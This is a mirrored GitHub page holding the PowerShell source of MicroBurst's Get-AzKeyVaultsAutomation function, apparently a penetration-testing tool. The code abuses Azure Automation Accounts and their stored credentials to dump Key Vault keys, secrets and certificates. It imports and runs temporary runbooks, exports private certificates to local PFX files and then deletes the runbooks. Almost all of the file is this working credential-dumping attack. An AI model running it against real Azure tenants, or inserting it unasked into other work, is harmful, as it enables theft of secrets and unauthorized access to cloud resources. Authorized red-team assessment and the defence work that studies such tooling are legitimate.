mirror of
https://github.com/NetSPI/MicroBurst
synced 2026-06-08 12:01:29 +00:00
211 lines
12 KiB
PowerShell
211 lines
12 KiB
PowerShell
<#
|
|
File: Get-AzKeyVaultsAutomation.ps1
|
|
Author: Karl Fosaaen (@kfosaaen), NetSPI - 2020
|
|
Description: PowerShell function for dumping Azure Key Vault Keys and Secrets via Automation Accounts.
|
|
#>
|
|
|
|
|
|
|
|
Function Get-AzKeyVaultsAutomation
|
|
{
|
|
<#
|
|
.SYNOPSIS
|
|
Dumps all available Key Vault Keys/Secrets from an Azure subscription via Automation Accounts. Pipe to Out-Gridview, ft -AutoSize, or Export-CSV for easier parsing.
|
|
.DESCRIPTION
|
|
This function will look for any Key Vault Keys/Secrets that are available to an Automation RunAs Account, or as a configured Automation credential.
|
|
If either account has Key Vault permissions, the runbook will read the values directly out of the Key Vaults.
|
|
A runbook will be spun up, so it will create a log entry in the automation jobs.
|
|
Per the statements above, and the fact that you may try to access keys that you may not have permissions for... This should not be considered as Opsec Safe.
|
|
.PARAMETER Subscription
|
|
Subscription to use.
|
|
.PARAMETER CertificatePassword
|
|
Password to use for the exported PFX files
|
|
.PARAMETER ExportCerts
|
|
Flag for saving private certs locally.
|
|
.EXAMPLE
|
|
PS C:\MicroBurst> Get-AzKeyVaults-Automation -Verbose
|
|
VERBOSE: Logged In as kfosaaen@notasubscription.onmicrosoft.com
|
|
VERBOSE: Getting List of Azure Automation Accounts...
|
|
VERBOSE: Automation Credential (testcred) found for kfosaaen Automation Account
|
|
VERBOSE: Automation Credential (testCred2) found for kfosaaen Automation Account
|
|
VERBOSE: Getting getting available Key Vault Keys/Secrets using the kfosaaen Automation Account, testcred Credential, and the FCIGmKqaTkEUViN.ps1 Runbook
|
|
VERBOSE: Waiting for the automation job to complete
|
|
VERBOSE: Removing FCIGmKqaTkEUViN runbook from kfosaaen Automation Account
|
|
VERBOSE: Getting getting available Key Vault Keys/Secrets using the kfosaaen Automation Account, testCred2 Credential, and the HzROkCvceonUNdh.ps1 Runbook
|
|
VERBOSE: Waiting for the automation job to complete
|
|
VERBOSE: Removing HzROkCvceonUNdh runbook from kfosaaen Automation Account
|
|
VERBOSE: Automation Key Vault Dumping Activities Have Completed
|
|
|
|
|
|
.LINK
|
|
https://blog.netspi.com/azure-automation-accounts-key-stores
|
|
#>
|
|
|
|
[CmdletBinding()]
|
|
Param(
|
|
[Parameter(Mandatory=$false,
|
|
HelpMessage="Subscription to use.")]
|
|
[string]$Subscription = "",
|
|
|
|
[parameter(Mandatory=$false,
|
|
HelpMessage="Password to use for exporting the Automation certificates.")]
|
|
[String]$CertificatePassword = "TotallyNotaHardcodedPassword...",
|
|
|
|
[Parameter(Mandatory=$false,
|
|
HelpMessage="Export the Key Vault certificates to local files.")]
|
|
[ValidateSet("Y","N")]
|
|
[string]$ExportCerts = "N"
|
|
|
|
)
|
|
|
|
# Check to see if we're logged in
|
|
$LoginStatus = Get-AzContext
|
|
$accountName = $LoginStatus.Account
|
|
if ($LoginStatus.Account -eq $null){Write-Warning "No active login. Prompting for login."
|
|
try {Login-AzAccount -ErrorAction Stop}
|
|
catch{Write-Warning "Login process failed."}
|
|
}
|
|
else{}
|
|
|
|
# Subscription name is technically required if one is not already set, list sub names if one is not provided "Get-AzSubscription"
|
|
if ($Subscription){
|
|
Select-AzSubscription -SubscriptionName $Subscription | Out-Null
|
|
}
|
|
else{
|
|
# List subscriptions, pipe out to gridview selection
|
|
$Subscriptions = Get-AzSubscription -WarningAction SilentlyContinue
|
|
$subChoice = $Subscriptions | out-gridview -Title "Select One or More Subscriptions" -PassThru
|
|
foreach ($sub in $subChoice) {Get-AzKeyVaultsAutomation -Subscription $sub -ExportCerts $ExportCerts -CertificatePassword $CertificatePassword}
|
|
break
|
|
}
|
|
|
|
Write-Verbose "Logged In as $accountName"
|
|
|
|
# Create data table to house results
|
|
$TempTblCreds = New-Object System.Data.DataTable
|
|
$null = $TempTblCreds.Columns.Add("Vault")
|
|
$null = $TempTblCreds.Columns.Add("Key/Secret")
|
|
$null = $TempTblCreds.Columns.Add("Type")
|
|
$null = $TempTblCreds.Columns.Add("Name")
|
|
$null = $TempTblCreds.Columns.Add("Value")
|
|
|
|
# Get a list of Automation Accounts
|
|
Write-Verbose "Getting List of Azure Automation Accounts..."
|
|
$AutoAccounts = Get-AzAutomationAccount | out-gridview -Title "Select One or More Automation Accounts" -PassThru
|
|
foreach ($AutoAccount in $AutoAccounts){
|
|
# Set name of Automation Account
|
|
$verboseName = $AutoAccount.AutomationAccountName
|
|
|
|
$jobList = @()
|
|
|
|
# If the runbook doesn't exist, don't run it
|
|
if (Test-Path $PSScriptRoot\..\Misc\KeyVaultRunBook.ps1 -PathType Leaf){
|
|
|
|
$autoCredName = (Get-AzAutomationCredential -ResourceGroupName $AutoAccount.ResourceGroupName -AutomationAccountName $verboseName).Name
|
|
|
|
# Overwrite the TEMPLATECREDENTIAL in the runbook
|
|
if($autoCredName){
|
|
foreach ($credEntry in $autoCredName){
|
|
Write-Verbose "`tAutomation Credential ($credEntry) found for $verboseName Automation Account"
|
|
# Set Random names for the runbooks. Prevents conflict issues
|
|
$jobName = -join ((65..90) + (97..122) | Get-Random -Count 15 | % {[char]$_})
|
|
|
|
((Get-Content -path $PSScriptRoot\..\Misc\KeyVaultRunBook.ps1 -Raw) -replace 'TEMPLATECREDENTIAL',$credEntry)|Out-File $pwd\$jobName.ps1
|
|
$jobList += @($jobName+" "+$credEntry)
|
|
}
|
|
}
|
|
else{
|
|
# Set Random names for the runbooks. Prevents conflict issues
|
|
$jobName = -join ((65..90) + (97..122) | Get-Random -Count 15 | % {[char]$_})
|
|
|
|
# Copy KeyVaultRunBook.ps1 to $pwd\$jobName.ps1
|
|
Copy-Item $PSScriptRoot\..\Misc\KeyVaultRunBook.ps1 -Destination $pwd\$jobName.ps1 | Out-Null
|
|
$jobList += @($jobName)
|
|
}
|
|
|
|
# For each job in job list, run the runbook
|
|
|
|
foreach ($jobToRun in $jobList){
|
|
$jobToRunName = $jobToRun.split(" ")[0]
|
|
$jobToRunCredential = $jobToRun.split(" ")[1]
|
|
if($jobToRunCredential -eq $null){$jobToRunCredential = "RunAs"}
|
|
|
|
Write-Verbose "`tGetting getting available Key Vault Keys/Secrets using the $verboseName Automation Account, $jobToRunCredential Credential, and the $jobToRunName.ps1 Runbook"
|
|
try{
|
|
# Import the Runbook
|
|
Import-AzAutomationRunbook -Path $pwd\$jobToRunName.ps1 -ResourceGroup $AutoAccount.ResourceGroupName -AutomationAccountName $AutoAccount.AutomationAccountName -Type PowerShell -Name $jobToRunName | Out-Null
|
|
|
|
# Publish the Runbook
|
|
Publish-AzAutomationRunbook -AutomationAccountName $AutoAccount.AutomationAccountName -ResourceGroup $AutoAccount.ResourceGroupName -Name $jobToRunName | Out-Null
|
|
|
|
# Run the Runbook and get the job id
|
|
$jobID = Start-AzAutomationRunbook -Name $jobToRunName -ResourceGroupName $AutoAccount.ResourceGroupName -AutomationAccountName $AutoAccount.AutomationAccountName | select JobId
|
|
|
|
$jobstatus = Get-AzAutomationJob -AutomationAccountName $AutoAccount.AutomationAccountName -ResourceGroupName $AutoAccount.ResourceGroupName -Id $jobID.JobId | select Status
|
|
|
|
# Wait for the job to complete
|
|
Write-Verbose "`t`tWaiting for the automation job to complete"
|
|
while($jobstatus.Status -ne "Completed"){
|
|
$jobstatus = Get-AzAutomationJob -AutomationAccountName $AutoAccount.AutomationAccountName -ResourceGroupName $AutoAccount.ResourceGroupName -Id $jobID.JobId | select Status
|
|
}
|
|
|
|
# If there was actual data here, get the output and add it to the table
|
|
try{
|
|
# Get the output
|
|
$jobOutput = Get-AzAutomationJobOutput -ResourceGroupName $AutoAccount.ResourceGroupName -AutomationAccountName $AutoAccount.AutomationAccountName -Id $jobID.JobId | Get-AzAutomationJobOutputRecord | Select-Object -ExpandProperty Value
|
|
|
|
if ($jobOutput.Values -ne $null){
|
|
# Write Keys/Secrets to the table
|
|
$lines = ($jobOutput.Values).split("`n")
|
|
|
|
Foreach($line in $lines){
|
|
$splitValues = ($line).split("`t")
|
|
|
|
# If export type is Cert, and ExportCerts flag is set, write the file locally
|
|
if (($ExportCerts -eq 'Y') -and ($splitValues[2] -eq "application/x-pkcs12")){
|
|
$vaultKey = $splitValues[3]
|
|
$FileName = Join-Path $pwd $vaultKey"-ExportedCertificate.pfx"
|
|
Write-Verbose "`t`tWriting Certificate to $FileName"
|
|
[IO.File]::WriteAllBytes($FileName, [Convert]::FromBase64String($splitValues[4]))
|
|
|
|
# Also add the cert to the table
|
|
$null = $TempTblCreds.Rows.Add($splitValues[0],$splitValues[1],$splitValues[2],$splitValues[3],$splitValues[4])
|
|
}
|
|
else{
|
|
# Add the Keys/Secrets to the table
|
|
$null = $TempTblCreds.Rows.Add($splitValues[0],$splitValues[1],$splitValues[2],$splitValues[3],$splitValues[4])
|
|
}
|
|
}
|
|
}
|
|
else{Write-Verbose "`tNo Keys/Secrets to return from the $verboseName Automation Account"}
|
|
}
|
|
catch {}
|
|
|
|
# Clean up
|
|
Write-Verbose "`t`tRemoving $jobToRunName runbook from $verboseName Automation Account"
|
|
Remove-AzAutomationRunbook -AutomationAccountName $AutoAccount.AutomationAccountName -Name $jobToRunName -ResourceGroupName $AutoAccount.ResourceGroupName -Force
|
|
}
|
|
Catch{Write-Verbose "`tUser does not have permissions to import Runbook"}
|
|
|
|
# Delete the temp Runbook
|
|
Remove-Item $pwd\$jobToRunName.ps1 | Out-Null
|
|
}
|
|
}
|
|
# Option to redownload the ps1 to the directory from GitHub
|
|
else{
|
|
Write-Warning "KeyVaultRunBook.ps1 is not in the $PSScriptRoot\..\Misc directory, did you delete the file?"
|
|
$promptResponse = "Y"
|
|
$promptResponse = (Read-Host "Would you like to download the KeyVaultRunBook.ps1 runbook from Github? [Y/n]")
|
|
If (($promptResponse -eq "Y") -or ($promptResponse -eq "y")){
|
|
If(Test-Path $PSScriptRoot\..\Misc){Invoke-WebRequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/KeyVaultRunBook.ps1" -OutFile $PSScriptRoot\..\Misc\KeyVaultRunBook.ps1}
|
|
else{
|
|
New-Item -Path $PSScriptRoot -Name "Misc" -ItemType "Directory"
|
|
Invoke-WebRequest "https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/KeyVaultRunBook.ps1" -OutFile $PSScriptRoot\..\Misc\KeyVaultRunBook.ps1
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
Write-Verbose "Automation Key Vault Dumping Activities Have Completed"
|
|
Write-Output $TempTblCreds
|
|
} |